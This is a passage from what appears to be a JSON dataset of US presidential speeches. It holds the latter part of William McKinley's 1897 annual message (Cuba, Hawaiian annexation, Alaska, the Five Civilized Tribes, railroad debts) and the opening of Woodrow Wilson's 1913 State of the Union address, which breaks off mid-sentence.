by his own\nauthority as the delegate of the central Government. This parliament\nreceives the oath of the Governor-General to preserve faithfully the\nliberties and privileges of the colony, and to it the colonial secretaries\nare responsible. It has the right to propose to the central Government,\nthrough the Governor-General, modifications of the national charter and to\ninvite new projects of law or executive measures in the interest of the\ncolony.Besides its local powers, it is competent, first, to regulate electoral\nregistration and procedure and prescribe the qualifications of electors and\nthe manner of exercising suffrage; second, to organize courts of justice\nwith native judges from members of the local bar; third, to frame the\ninsular budget, both as to expenditures and revenues, without limitation of\nany kind, and to set apart the revenues to meet the Cuban share of the\nnational budget, which latter will be voted by the national Cortes with the\nassistance of Cuban senators and deputies; fourth, to initiate or take part\nin the negotiations of the national Government for commercial treaties\nwhich may affect Cuban interests; fifth, to accept or reject commercial\ntreaties which the national Government may have concluded without the\nparticipation of the Cuban government; sixth, to frame the colonial tariff,\nacting in accord with the peninsular Government in scheduling articles of\nmutual commerce between the mother country and the colonies. Before\nintroducing or voting upon a bill the Cuban government or the chambers will\nlay the project before the central Government and hear its opinion thereon,\nall the correspondence in such regard being made public. Finally, all\nconflicts of jurisdiction arising between the different municipal,\nprovincial, and insular assemblies, or between the latter and the insular\nexecutive power, and which from their nature may not be referable to the\ncentral Government for decision, shall be submitted to the courts.That the government of Sagasta has entered upon a course from which\nrecession with honor is impossible can hardly be questioned; that in the\nfew weeks it has existed it has made earnest of the sincerity of its\nprofessions is undeniable. I shall not impugn its sincerity, nor should\nimpatience be suffered to embarrass it in the task it has undertaken. It is\nhonestly due to Spain and to our friendly relations with Spain that she\nshould be given a reasonable chance to realize her expectations and to\nprove the asserted efficacy of the new order of things to which she stands\nirrevocably committed. She has recalled the commander whose brutal orders\ninflamed the American mind and shocked the civilized world. She has\nmodified the horrible order of concentration and has undertaken to care for\nthe helpless and permit those who desire to resume the cultivation of their\nfields to do so, and assures them of the protection of the Spanish\nGovernment in their lawful occupations. She has just released the\nCompetitor prisoners, heretofore sentenced to death, and who have been the\nsubject of repeated diplomatic correspondence during both this and the\npreceding Administration.Not a single American citizen is now in arrest or confinement in Cuba of\nwhom this Government has any knowledge. The near future will demonstrate\nwhether the indispensable condition of a righteous peace, just alike to the\nCubans and to Spain as well as equitable to all our interests so intimately\ninvolved in the welfare of Cuba, is likely to be attained. If not, the\nexigency of further and other action by the United States will remain to be\ntaken. When that time comes that action will be determined in the line of\nindisputable right and duty. It will be faced, without misgiving or\nhesitancy in the light of the obligation this Government owes to itself, to\nthe people who have confided to it the protection of their interests and\nhonor, and to humanity.Sure of the right, keeping free from all offense ourselves, actuated only\nby upright and patriotic considerations, moved neither by passion nor\nselfishness, the Government will continue its watchful care over the rights\nand property of American citizens and will abate none of its efforts to\nbring about by peaceful agencies a peace which shall be honorable and\nenduring. If it shall hereafter appear to be a duty imposed by our\nobligations to ourselves, to civilization and humanity to intervene with\nforce, it shall be without fault on our part and only because the necessity\nfor such action will be so clear as to command the support and approval of\nthe civilized world.By a special message dated the 16th day of June last, I laid before the\nSenate a treaty signed that day by the plenipotentiaries of the United\nStates and of the Republic of Hawaii, having for its purpose the\nincorporation of the Hawaiian Islands as an integral part of the United\nStates and under its sovereignty. The Senate having removed the injunction\nof secrecy, although the treaty is still pending before that body, the\nsubject may be properly referred to in this Message because the necessary\naction of the Congress is required to determine by legislation many details\nof the eventual union should the fact of annexation be accomplished, as I\nbelieve it should be.While consistently disavowing from a very early period any aggressive\npolicy of absorption in regard to the Hawaiian group, a long series of\ndeclarations through three-quarters of a century has proclaimed the vital\ninterest of the United States in the independent life of the Islands and\ntheir intimate commercial dependence upon this country. At the same time it\nhas been repeatedly asserted that in no event could the entity of Hawaiian\nstatehood cease by the passage of the Islands under the domination or\ninfluence of another power than the United States. Under these\ncircumstances, the logic of events required that annexation, heretofore\noffered but declined, should in the ripeness of time come about as the\nnatural result of the strengthening ties that bind us to those Islands, and\nbe realized by the free will of the Hawaiian State.That treaty was unanimously ratified without amendment by the Senate and\nPresident of the Republic of Hawaii on the 10th of September last, and only\nawaits the favorable action of the American Senate to effect the complete\nabsorption of the Islands into the domain of the United States. What the\nconditions of such a union shall be, the political relation thereof to the\nUnited States, the character of the local administration, the quality and\ndegree of the elective franchise of the inhabitants, the extension of the\nfederal laws to the territory or the enactment of special laws to fit the\npeculiar condition thereof, the regulation if need be of the labor system\ntherein, are all matters which the treaty has wisely relegated to the\nCongress.If the treaty is confirmed as every consideration of dignity and honor\nrequires, the wisdom of Congress will see to it that, avoiding abrupt\nassimilation of elements perhaps hardly yet fitted to share in the highest\nfranchises of citizenship, and having due regard to the geographical\nconditions, the most just provisions for self-rule in local matters with\nthe largest political liberties as an integral part of our Nation will be\naccorded to the Hawaiians. No less is due to a people who, after nearly\nfive years of demonstrated capacity to fulfill the obligations of\nself-governing statehood, come of their free will to merge their destinies\nin our body-politic.The questions which have arisen between Japan and Hawaii by reason of the\ntreatment of Japanese laborers emigrating to the Islands under the\nHawaiian-Japanese convention of 1888, are in a satisfactory stage of\nsettlement by negotiation. This Government has not been invited to mediate,\nand on the other hand has sought no intervention in that matter, further\nthan to evince its kindliest disposition toward such a speedy and direct\nadjustment by the two sovereign States in interest as shall comport with\nequity and honor. It is gratifying to learn that the apprehensions at first\ndisplayed on the part of Japan lest the cessation of Hawaii's national life\nthrough annexation might impair privileges to which Japan honorably laid\nclaim, have given place to confidence in the uprightness of this\nGovernment, and in the sincerity of its purpose to deal with all possible\nulterior questions in the broadest spirit of friendliness.As to the representation of this Government to Nicaragua, Salvador, and\nCosta Rica, I have concluded that Mr. William L. Merry, confirmed as\nminister of the United States to the States of Nicaragua, Salvador and\nCosta Rica, shall proceed to San Jose, Costa Rica, and there temporarily\nestablish the headquarters of the United States to those three States. I\ntook this action for what I regarded as the paramount interests of this\ncountry. It was developed upon an investigation by the Secretary of State\nthat the Government of Nicaragua, while not unwilling to receive Mr. Merry\nin his diplomatic quality, was unable to do so because of the compact\nconcluded June 20, 1895, whereby that Republic and those of Salvador and\nHonduras, forming what is known as the Greater Republic of Central America,\nhad surrendered to the representative Diet thereof their right to receive\nand send diplomatic agents. The Diet was not willing to accept him because\nhe was not accredited to that body. I could not accredit him to that body\nbecause the appropriation law of Congress did not permit it. Mr. Baker, the\npresent minister at Managua, has been directed to present his letters of\nrecall.Mr. W. Godfrey Hunter has likewise been accredited to the Governments of\nGuatemala and Honduras, the same as his predecessor. Guatemala is not a\nmember of the Greater Republic of Central America, but Honduras is. Should\nthis latter Government decline to receive him, he has been instructed to\nreport this fact to his Government and await its further instructions.A subject of large importance to our country, and increasing appreciation\non the part of the people, is the completion of the great highway of trade\nbetween the Atlantic and Pacific, known as the Nicaragua Canal. Its utility\nand value to American commerce is universally admitted. The Commission\nappointed under date of July 24 last \"to continue the surveys and\nexaminations authorized by the act approved March 2, 1895,\" in regard to\n\"the proper route, feasibility, and cost of construction of the Nicaragua\nCanal, with a view of making complete plans for the entire work of\nconstruction of such canal,\" is now employed in the undertaking. In the\nfuture I shall take occasion to transmit to Congress the report of this\nCommission, making at the same time such further suggestions as may then\nseem advisable.Under the provisions of the act of Congress approved March 3, 1897, for the\npromotion of an international agreement respecting bimetallism, I appointed\non the 14th day of April, 1897, Hon. Edward O. Wolcott of Colorado, Hon.\nAdlai E. Stevenson of Illinois, and Hon. Charles J. Paine of Massachusetts,\nas special envoys to represent the United States. They have been diligent\nin their efforts to secure the concurrence and cooperation of European\ncountries in the international settlement of the question, but up to this\ntime have not been able to secure an agreement contemplated by their\nmission.The gratifying action of our great sister Republic of France in joining\nthis country in the attempt to bring about an agreement among the principal\ncommercial nations of Europe, whereby a fixed and relative value between\ngold and silver shall be secured, furnishes assurance that we are not alone\namong the larger nations of the world in realizing the international\ncharacter of the problem and in the desire of reaching some wise and\npractical solution of it. The British Government has published a resume of\nthe steps taken jointly by the French ambassador in London and the special\nenvoys of the United States, with whom our ambassador at London actively\nco-operated in the presentation of this subject to Her Majesty's\nGovernment. This will be laid before Congress.Our special envoys have not made their final report, as further\nnegotiations between the representatives of this Government and the\nGovernments of other countries are pending and in contemplation. They\nbelieve that doubts which have been raised in certain quarters respecting\nthe position of maintaining the stability of the parity between the metals\nand kindred questions may yet be solved by further negotiations.Meanwhile it gives me satisfaction to state that the special envoys have\nalready demonstrated their ability and fitness to deal with the subject,\nand it is to be earnestly hoped that their labors may result in an\ninternational agreement which will bring about recognition of both gold and\nsilver as money upon such terms, and with such safeguards as will secure\nthe use of both metals upon a basis which shall work no injustice to any\nclass of our citizens.In order to execute as early as possible the provisions of the third and\nfourth sections of the Revenue Act, approved July 24, 1897, I appointed the\nHon. John A. Kasson of Iowa, a special commissioner plenipotentiary to\nundertake the requisite negotiations with foreign countries desiring to\navail themselves of these provisions. The negotiations are now proceeding\nwith several Governments, both European and American. It is believed that\nby a careful exercise of the powers conferred by that Act some grievances\nof our own and of other countries in our mutual trade relations may be\neither removed, or largely alleviated, and that the volume of our\ncommercial exchanges may be enlarged, with advantage to both contracting\nparties.Most desirable from every standpoint of national interest and patriotism is\nthe effort to extend our foreign commerce. To this end our merchant marine\nshould be improved and enlarged. We should do our full share of the\ncarrying trade of the world. We do not do it now. We should be the laggard\nno longer. The inferiority of our merchant marine is justly humiliating to\nthe national pride. The Government by every proper constitutional means,\nshould aid in making our ships familiar visitors at every commercial port\nof the world, thus opening up new and valuable markets to the surplus\nproducts of the farm and the factory.The efforts which had been made during the two previous years by my\npredecessor to secure better protection to the fur seals in the North\nPacific Ocean and Bering Sea, were renewed at an early date by this\nAdministration, and have been pursued with earnestness. Upon my invitation,\nthe Governments of Japan and Russia sent delegates to Washington, and an\ninternational conference was held during the months of October and November\nlast, wherein it was unanimously agreed that under the existing regulations\nthis species of useful animals was threatened with extinction, and that an\ninternational agreement of all the interested powers was necessary for\ntheir adequate protection.The Government of Great Britain did not see proper to be represented at\nthis conference, but subsequently sent to Washington, as delegates, the\nexpert commissioners of Great Britain and Canada who had, during the past\ntwo years, visited the Pribilof Islands, and who met in conference similar\ncommissioners on the part of the United States. The result of this\nconference was an agreement on important facts connected with the condition\nof the seal herd, heretofore in dispute, which should place beyond\ncontroversy the duty of the Governments concerned to adopt measures without\ndelay for the preservation and restoration of the herd. Negotiations to\nthis end are now in progress, the result of which I hope to be able to\nreport to Congress at an early day.International arbitration cannot be omitted from the list of subjects\nclaiming our consideration. Events have only served to strengthen the\ngeneral views on this question expressed in my inaugural address. The best\nsentiment of the civilized world is moving toward the settlement of\ndifferences between nations without resorting to the horrors of war.\nTreaties embodying these humane principles on broad lines, without in any\nway imperiling our interests or our honor, shall have my constant\nencouragement.The acceptance by this Government of the invitation of the Republic of\nFrance to participate in the Universal Exposition of 1900, at Paris, was\nimmediately followed by the appointment of a special commissioner to\nrepresent the United States in the proposed exposition, with special\nreference to the securing of space for an adequate exhibit on behalf of the\nUnited States.The special commissioner delayed his departure for Paris long enough to\nascertain the probable demand for space by American exhibitors. His\ninquiries developed an almost unprecedented interest in the proposed\nexposition, and the information thus acquired enabled him to justify an\napplication for a much larger allotment of space for the American section\nthan had been reserved by the exposition authorities. The result was\nparticularly gratifying, in view of the fact that the United States was one\nof the last countries to accept the invitation of France.The reception accorded our special commissioner was most cordial, and he\nwas given every reasonable assurance that the United States would receive a\nconsideration commensurate with the proportions of our exhibit. The report\nof the special commissioner as to the magnitude and importance of the\ncoming exposition, and the great demand for space by American exhibitors,\nsupplies new arguments for a liberal and judicious appropriation by\nCongress, to the end that an exhibit fairly representative of the\nindustries and resources of our country may be made in an exposition which\nwill illustrate the world's progress during the nineteenth century. That\nexposition is intended to be the most important and comprehensive of the\nlong series of international exhibitions, of which our own at Chicago was a\nbrilliant example, and it is desirable that the United States should make a\nworthy exhibit of American genius and skill and their unrivaled\nachievements in every branch of industry.The present immediately effective force of the Navy consists of four battle\nships of the first class, two of the second, and forty-eight other vessels,\nranging from armored cruisers to torpedo boats. There are under\nconstruction five battle ships of the first class, sixteen torpedo boats,\nand one submarine boat. No provision has yet been made for the armor of\nthree of the five battle ships, as it has been impossible to obtain it at\nthe price fixed by Congress. It is of great importance that Congress\nprovide this armor, as until then the ships are of no fighting value.The present naval force, especially in view of its increase by the ships\nnow under construction, while not as large as that of a few other powers,\nis a formidable force; its vessels are the very best of each type; and with\nthe increase that should be made to it from time to time in the future, and\ncareful attention to keeping it in a high state of efficiency and repair,\nit is well adapted to the necessities of the country.The great increase of the Navy which has taken place in recent years was\njustified by the requirements for national defense, and has received public\napprobation. The time has now arrived, however, when this increase, to\nwhich the country is committed, should, for a time, take the form of\nincreased facilities commensurate with the increase of our naval vessels.\nIt is an unfortunate fact that there is only one dock on the Pacific Coast\ncapable of docking our largest ships, and only one on the Atlantic Coast,\nand that the latter has for the last six or seven months been under repair\nand therefore incapable of use. Immediate steps should be taken to provide\nthree or four docks of this capacity on the Atlantic Coast, at least one on\nthe Pacific Coast, and a floating dock in the Gulf. This is the\nrecommendation of a very competent Board, appointed to investigate the\nsubject. There should also be ample provision made for powder and\nprojectiles, and other munitions of war, and for an increased number of\nofficers and enlisted men. Some additions are also necessary to our\nnavy-yards, for the repair and care of our large number of vessels. As\nthere are now on the stocks five battle ships of the largest class, which\ncannot be completed for a year or two, I concur with the recommendation of\nthe Secretary of the Navy for an appropriation authorizing the construction\nof one battle ship for the Pacific Coast, where, at present, there is only\none in commission and one under construction, while on the Atlantic Coast\nthere are three in commission and four under construction; and also that\nseveral torpedo boats be authorized in connection with our general system\nof coast defense.The Territory of Alaska requires the prompt and early attention of\nCongress. The conditions now existing demand material changes in the laws\nrelating to the Territory. The great influx of population during the past\nsummer and fall and the prospect of a still larger immigration in the\nspring will not permit us to longer neglect the extension of civil\nauthority within the Territory or postpone the establishment of a more\nthorough government.A general system of public surveys has not yet been extended to Alaska and\nall entries thus far made in that district are upon special surveys. The\nact of Congress extending to Alaska the mining laws of the United States\ncontained the reservation that it should not be construed to put in force\nthe general land laws of the country. By act approved March 3, 1891,\nauthority was given for entry of lands for town-site purposes and also for\nthe purchase of not exceeding one hundred and sixty acres then or\nthereafter occupied for purposes of trade and manufacture. The purpose of\nCongress as thus far expressed has been that only such rights should apply\nto that Territory as should be specifically named.It will be seen how much remains to be done for that vast and remote and\nyet promising portion of our country. Special authority was given to the\nPresident by the Act of Congress approved July 24, 1897, to divide that\nTerritory into two land districts and to designate the boundaries thereof\nand to appoint registers and receivers of said land offices, and the\nPresident was also authorized to appoint a surveyor-general for the entire\ndistrict. Pursuant to this authority, a surveyor-general and receiver have\nbeen appointed, with offices at Sitka. If in the ensuing year the\nconditions justify it, the additional land district authorized by law will\nbe established, with an office at some point in the Yukon Valley. No\nappropriation, however, was made for this purpose, and that is now\nnecessary to be done for the two land districts into which the Territory is\nto be divided.I concur with the Secretary of War in his suggestions as to the necessity\nfor a military force in the Territory of Alaska for the protection of\npersons and property. Already a small force, consisting of twenty-five men,\nwith two officers, under command of Lieutenant-Colonel Randall, of the\nEighth Infantry, has been sent to St. Michael to establish a military\npost.As it is to the interest of the Government to encourage the development and\nsettlement of the country and its duty to follow up its citizens there with\nthe benefits of legal machinery, I earnestly urge upon Congress the\nestablishment of a system of government with such flexibility as will\nenable it to adjust itself to the future areas of greatest population.The startling though possibly exaggerated reports from the Yukon River\ncountry, of the probable shortage of food for the large number of people\nwho are wintering there without the means of leaving the country are\nconfirmed in such measure as to justify bringing the matter to the\nattention of Congress. Access to that country in winter can be had only by\nthe passes from Dyea and vicinity, which is a most difficult and perhaps an\nimpossible task. However, should these reports of the suffering of our\nfellow-citizens be further verified, every effort at any cost should be\nmade to carry them relief.For a number of years past it has been apparent that the conditions under\nwhich the Five Civilized Tribes were established in the Indian Territory\nunder treaty provisions with the United States, with the right of\nself-government and the exclusion of all white persons from within their\nborders, have undergone so complete a change as to render the continuance\nof the system thus inaugurated practically impossible. The total number of\nthe Five Civilized Tribes, as shown by the last census, is 45,494, and this\nnumber has not materially increased; while the white population is\nestimated at from 200,000 to 250,000 which, by permission of the Indian\nGovernment has settled in the Territory. The present area of the Indian\nTerritory contains 25,694,564 acres, much of which is very fertile land.\nThe United States citizens residing in the Territory, most of whom have\ngone there by invitation or with the consent of the tribal authorities,\nhave made permanent homes for themselves. Numerous towns have been built in\nwhich from 500 to 5,000 white people now reside. Valuable residences and\nbusiness houses have been erected in many of them. Large business\nenterprises are carried on in which vast sums of money are employed, and\nyet these people, who have invested their capital in the development of the\nproductive resources of the country, are without title to the land they\noccupy, and have no voice whatever in the government either of the Nations\nor Tribes. Thousands of their children who were born in the Territory are\nof school age, but the doors of the schools of the Nations are shut against\nthem, and what education they get is by private contribution. No provision\nfor the protection of the life or property of these white citizens is made\nby the Tribal Governments and Courts.The Secretary of the Interior reports that leading Indians have absorbed\ngreat tracts of land to the exclusion of the common people, and government\nby an Indian aristocracy has been practically established, to the detriment\nof the people. It has been found impossible for the United States to keep\nits citizens out of the Territory, and the executory conditions contained\nin the treaties with these Nations have for the most part become impossible\nof execution. Nor has it been possible for the Tribal Governments to secure\nto each individual Indian his full enjoyment in common with Other Indians\nof the common property of the Nations. Friends of the Indians have long\nbelieved that the best interests of the Indians of the Five Civilized\nTribes would be found in American citizenship, with all the rights and\nprivileges which belong to that condition.By section 16, of the act of March 3, 1893, the President was authorized to\nappoint three commissioners to enter into negotiations with the Cherokee,\nChoctaw, Chickasaw, Muscogee (or Creek), and Seminole Nations, commonly\nknown as the Five Civilized Tribes in the Indian Territory. Briefly, the\npurposes of the negotiations were to be: The extinguishment of Tribal\ntitles to any lands within that Territory now held by any and all such\nNations or Tribes, either by cession of the same or some part thereof to\nthe United States, or by allotment and division of the same in severalty\namong the Indians of such Nations or Tribes respectively as may be entitled\nto the same, or by such other method as may be agreed upon between the\nseveral Nations and Tribes aforesaid, or each of them, with the United\nStates, with a view to such an adjustment upon the basis of justice and\nequity as may, with the consent of the said Nations of Indians so far as\nmay be necessary, be requisite and suitable to enable the ultimate creation\nof a State or States of the Union which shall embrace the lands within said\nIndian Territory.The Commission met much opposition from the beginning. The Indians were\nvery slow to act, and those in control manifested a decided disinclination\nto meet with favor the propositions submitted to them. A little more than\nthree years after this organization the Commission effected an agreement\nwith the Choctaw Nation alone. The Chickasaws, however, refused to agree to\nits terms, and as they have a common interest with the Choctaws in the\nlands of said Nations, the agreement with the latter Nation could have no\neffect without the consent of the former. On April 23, 1897, the Commission\neffected an agreement with both tribes--the Choctaws and Chickasaws. This\nagreement, it is understood, has been ratified by the constituted\nauthorities of the respective Tribes or Nations parties thereto, and only\nrequires ratification by Congress to make it binding.On the 27th of September, 1897, an agreement was effected with the Creek\nNation, but it is understood that the National Council of said Nation has\nrefused to ratify the same. Negotiations are yet to be had with the\nCherokees, the most populous of the Five Civilized Tribes, and with the\nSeminoles, the smallest in point of numbers and territory.The provision in the Indian Appropriation Act, approved June 10, 1896,\nmakes it the duty of the Commission to investigate and determine the rights\nof applicants for citizenship in the Five Civilized Tribes, and to make\ncomplete census rolls of the citizens of said Tribes. The Commission is at\npresent engaged in this work among the Creeks, and has made appointments\nfor taking the census of these people up to and including the 30th of the\npresent month.Should the agreement between the Choctaws and Chickasaws be ratified by\nCongress and should the other Tribes fail to make an agreement with the\nCommission, then it will be necessary that some legislation shall be had by\nCongress, which, while just and honorable to the Indians, shall be\nequitable to the white people who have settled upon these lands by\ninvitation of the Tribal Nations.Hon. Henry L. Dawes, Chairman of the Commission, in a letter to the\nSecretary of the Interior, under date of October 11, 1897, says:\n\"Individual ownership is, in their (the Commission's) opinion, absolutely\nessential to any permanent improvement in present conditions, and the lack\nof it is the root of nearly all the evils which so grievously afflict these\npeople. Allotment by agreement is the only possible method, unless the\nUnited States Courts are clothed with the authority to apportion the lands\namong the citizen Indians for whose use it was originally granted.\"I concur with the Secretary of the Interior that there can be no cure for\nthe evils engendered by the perversion of these great trusts, excepting by\ntheir resumption by the Government which created them.The recent prevalence of yellow fever in a number of cities and towns\nthroughout the South has resulted in much disturbance of commerce, and\ndemonstrated the necessity of such amendments to our quarantine laws as\nwill make the regulations of the national quarantine authorities paramount.\nThe Secretary of the Treasury, in the portion of his report relating to the\noperation of the Marine Hospital Service, calls attention to the defects in\nthe present quarantine laws, and recommends amendments thereto which will\ngive the Treasury Department the requisite authority to prevent the\ninvasion of epidemic diseases from foreign countries, and in times of\nemergency, like that of the past summer, will add to the efficiency of the\nsanitary measures for the protection of the people, and at the same time\nprevent unnecessary restriction of commerce. I concur in his\nrecommendation.In further effort to prevent the invasion of the United States by yellow\nfever, the importance of the discovery of the exact cause of the disease,\nwhich up to the present time has been undetermined, is obvious, and to this\nend a systematic bacteriological investigation should be made. I therefore\nrecommend that Congress authorize the appointment of a commission by the\nPresident, to consist of four expert bacteriologists, one to be selected\nfrom the medical officers of the Marine Hospital Service, one to be\nappointed from civil life, one to be detailed from the medical officers of\nthe Army, and one from the medical officers of the Navy.The Union Pacific Railway, Main Line, was sold under the decree of the\nUnited States Court for the District of Nebraska, on the 1st and 2d of\nNovember of this year. The amount due the Government consisted of the\nprincipal of the subsidy bonds, $27,236,512, and the accrued interest\nthereon, $31,211,711.75, making the total indebtedness, $58,448,223.75. The\nbid at the sale covered the first mortgage lien and the entire mortgage\nclaim of the Government, principal and interest.The sale of the subsidized portion of the Kansas Pacific Line, upon which\nthe Government holds a second mortgage lien, has been postponed at the\ninstance of the Government to December 16, 1897. The debt of this division\nof the Union Pacific Railway to the Government on November 1, 1897, was the\nprincipal of the subsidy bonds, $6,303,000, and the unpaid and accrued\ninterest thereon, $6,626,690.33, making a total of $12,929,690.33.The sale of this road was originally advertised for November 4, but for the\npurpose of securing the utmost public notice of the event it was postponed\nuntil December 16, and a second advertisement of the sale was made. By the\ndecree of the Court, the upset price on the sale of the Kansas Pacific will\nyield to the Government the sum of $2,500,000 over all prior liens, costs,\nand charges. If no other or better bid is made, this sum is all that the\nGovernment will receive on its claim of nearly $13,000,000. The Government\nhas no information as to whether there will be other bidders or a better\nbid than the minimum amount herein stated. The question presented therefore\nis: Whether the Government shall, under the authority given it by the act\nof March 3, 1887, purchase or redeem the road in the event that a bid is\nnot made by private parties covering the entire Government claim. To\nqualify the Government to bid at the sales will require a deposit of\n$900,000, as follows: In the Government cause $500,000 and in each of the\nfirst mortgage causes $200,000, and in the latter the deposit must be in\ncash. Payments at the sale are as follows: Upon the acceptance of the bid a\nsum which with the amount already deposited shall equal fifteen per cent of\nthe bid; the balance in installments of twenty-five per cent thirty, forty,\nand fifty days after the confirmation of the sale. The lien on the Kansas\nPacific prior to that of the Government on the 30th July, 1897, principal\nand interest, amounted to $7,281,048.11. The Government, therefore, should\nit become the highest bidder, will have to pay the amount of the first\nmortgage lien.I believe that under the act of 1887 it has the authority to do this and in\nabsence of any action by Congress I shall direct the Secretary of the\nTreasury to make the necessary deposit as required by the Court's decree to\nqualify as a bidder and to bid at the sale a sum which will at least equal\nthe principal of the debt due to the Government; but suggest in order to\nremove all controversy that an amendment of the law be immediately passed\nexplicitly giving such powers and appropriating in general terms whatever\nsum is sufficient therefor.In so important a matter as the Government becoming the possible owner of\nrailroad property which it perforce must conduct and operate, I feel\nconstrained to lay before Congress these facts for its consideration and\naction before the consummation of the sale. It is clear to my mind that the\nGovernment should not permit the property to be sold at a price which will\nyield less than one-half of the principal of its debt and less than\none-fifth of its entire debt, principal and interest. But whether the\nGovernment, rather than accept less than its claim, should become a bidder\nand thereby the owner of the property, I submit to the Congress for\naction.The Library building provided for by the act of Congress approved April 15,\n1886, has been completed and opened to the public. It should be a matter of\ncongratulation that through the foresight and munificence of Congress the\nnation possesses this noble treasure-house of knowledge. It is earnestly to\nbe hoped that having done so much toward the cause of education, Congress\nwill continue to develop the Library in every phase of research to the end\nthat it may be not only one of the most magnificent but among the richest\nand most useful libraries in the world.The important branch of our Government known as the Civil Service, the\npractical improvement of which has long been a subject of earnest\ndiscussion, has of late years received increased legislative and Executive\napproval. During the past few months the service has been placed upon a\nstill firmer basis of business methods and personal merit. While the right\nof our veteran soldiers to reinstatement in deserving cases has been\nasserted, dismissals for merely political reasons have been carefully\nguarded against, the examinations for admittance to the service enlarged\nand at the same time rendered less technical and more practical; and a\ndistinct advance has been made by giving a hearing before dismissal upon\nall cases where incompetency is charged or demand made for the removal of\nofficials in any of the Departments. This order has been made to give to\nthe accused his right to be heard but without in anyway impairing the power\nof removal, which should always be exercised in cases of inefficiency and\nincompetency, and which is one of the vital safeguards of the civil service\nreform system, preventing stagnation and deadwood and keeping every\nemployee keenly alive to the fact that the security of his tenure depends\nnot on favor but on his own tested and carefully watched record of\nservice.Much of course still remains to be accomplished before the system can be\nmade reasonably perfect for our needs. There are places now in the\nclassified service which ought to be exempted and others not classified may\nproperly be included. I shall not hesitate to exempt cases which I think\nhave been improperly included in the classified service or include those\nwhich in my judgment will best promote the public service. The system has\nthe approval of the people and it will be my endeavor to uphold and extend\nit.I am forced by the length of this Message to omit many important references\nto affairs of the Government with which Congress will have to deal at the\npresent session. They are fully discussed in the departmental reports, to\nall of which I invite your earnest attention.The estimates of the expenses of the Government by the several Departments\nwill, I am sure, have your careful scrutiny. While the Congress may not\nfind it an easy task to reduce the expenses of the Government, it should\nnot encourage their increase. These expenses will in my judgment admit of a\ndecrease in many branches of the Government without injury to the public\nservice. It is a commanding duty to keep the appropriations within the\nreceipts of the Government, and thus avoid a deficit.", 
+    "name": "William McKinley"
+}
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+{
+    "date": "December 2, 1913", 
+    "speech": "Gentlemen of the Congress:In pursuance of my constitutional duty to \"give to the Congress information\nof the state of the Union,\" I take the liberty of addressing you on several\nmatters which ought, as it seems to me, particularly to engage the\nattention of your honorable bodies, as of all who study the welfare and\nprogress of the Nation.I shall ask your indulgence if I venture to depart in some degree from the\nusual custom of setting before you in formal review the many matters which\nhave engaged the attention and called for the action of the several\ndepartments of the Government or which look to them for early treatment in\nthe future, because the list is long, very long, and would suffer in the\nabbreviation to which I should have to subject it. I shall submit to you\nthe reports of the heads of the several departments, in which these\nsubjects are set forth in careful detail, and beg that they may receive the\nthoughtful attention of your committees and of all Members of the Congress\nwho may have the leisure to study them. Their obvious importance, as\nconstituting the very substance of the business of the Government, makes\ncomment and emphasis on my part unnecessary.The country, I am thankful to say, is at peace with all the world, and many\nhappy manifestations multiply about us of a growing cordiality and sense of\ncommunity of interest among the nations, foreshadowing an age of settled\npeace and good will. More and more readily each decade do the nations\nmanifest their willingness to bind themselves by solemn treaty to the\nprocesses of peace, the processes of frankness and fair concession. So far\nthe United States has stood at the front of such negotiations. She will, I\nearnestly hope and confidently believe, give fresh proof of her sincere\nadherence to the cause of international friendship by ratifying the several\ntreaties of arbitration awaiting renewal by the Senate. In addition to\nthese, it has been the privilege of the Department of State to gain the\nassent, in principle, of no less than 31 nations, representing four-fifths\nof the population of the world, to the negotiation of treaties by which it\nshall be agreed that whenever differences of interest or of policy arise\nwhich can not be resolved by the ordinary processes of diplomacy they shall\nbe publicly analyzed, discussed, and reported upon by a tribunal chosen by\nthe parties before either nation determines its course of action.There is only one possible standard by which to determine controversies\nbetween the United States and other nations, and that is compounded of\nthese two elements: Our own honor and our obligations to the peace of the\nworld. A test so compounded ought easily to be made to govern both the\nestablishment of new treaty obligations and the interpretation of those\nalready assumed.There is but one cloud upon our horizon. That has shown itself to the south\nof us, and hangs over Mexico. There can be no certain prospect of peace in\nAmerica until Gen. Huerta has surrendered his usurped authority in Mexico;\nuntil it is understood on all hands, indeed, that such pretended\ngovernments will not be countenanced or dealt with by-the Government of the\nUnited States. We are the friends of constitutional government in America;\nwe are more than its friends, we are its champions; because in no other way\ncan our neighbors, to whom we would wish in every way to make proof of our\nfriendship, work out their own development in peace and liberty. Mexico has\nno Government. The attempt to maintain one at the City of Mexico has broken\ndown, and a mere military despotism has been set up which has hardly more\nthan the semblance of national authority. It originated in the usurpation\nof Victoriano Huerta, who, after a brief attempt to play the part of\nconstitutional President, has at last cast aside even the pretense of legal\nright and declared himself dictator. As a consequence, a condition of\naffairs now exists in Mexico which has made it doubtful whether even the\nmost elementary and fundamental rights either of her own people or of the\ncitizens of other countries resident within her territory can long be\nsuccessfully safeguarded, and which threatens, if long continued, to\nimperil the interests of peace, order, and tolerable life in the lands\nimmediately to the south of us. Even if the usurper had succeeded in his\npurposes, in despite of the constitution of the Republic and the rights of\nits people, he would have set up nothing but a precarious and hateful\npower, which could have lasted but a little while, and whose eventual\ndownfall would have left the country in a more deplorable condition than\never. But he has not succeeded. He has forfeited the respect and the moral\nsupport even of those who were at one time willing to see him succeed.\nLittle by little he has been completely isolated. By a little every day his\npower and prestige are crumbling and the collapse is not far away. We shall\nnot, I believe, be obliged to alter our policy of watchful waiting. And\nthen, when the end comes, we shall hope to see constitutional order\nrestored in distressed Mexico by the concert and energy of such of her\nleaders as prefer the liberty of their people to their own ambitions.I turn to matters of domestic concern. You already have under consideration\na bill for the reform of our system of banking and currency, for which the\ncountry waits with impatience, as for something fundamental to its whole\nbusiness life and necessary to set credit free from arbitrary and\nartificial restraints. I need not say how earnestly I hope for its early\nenactment into law. I take leave to beg that the whole energy and attention\nof the Senate be concentrated upon it till the matter is successfully\ndisposed of. And yet I feel that the request is not needed-that the Members\nof that great House need no urging in this service to the country.I present to you, in addition, the urgent necessity that special provision\nbe made also for facilitating the credits needed by the farmers of the\ncountry. The pending currency bill does the farmers a great service. It\nputs them upon an equal footing with other business men and masters of\nenterprise, as it should; and upon its passage they will find themselves\nquit of many of the difficulties which now hamper them in the field of\ncredit. The farmers, of course, ask and should be given no special\nprivilege, such as extending to them the credit of the Government itself.\nWhat they need and should obtain is legislation which will make their own\nabundant and substantial credit resources available as a foundation for\njoint, concerted local action in their own behalf in getting the capital\nthey must use. It is to this we should now address ourselves.It has, singularly enough, come to pass that we have allowed the industry\nof our farms to lag behind the other activities of the country in its\ndevelopment. I need not 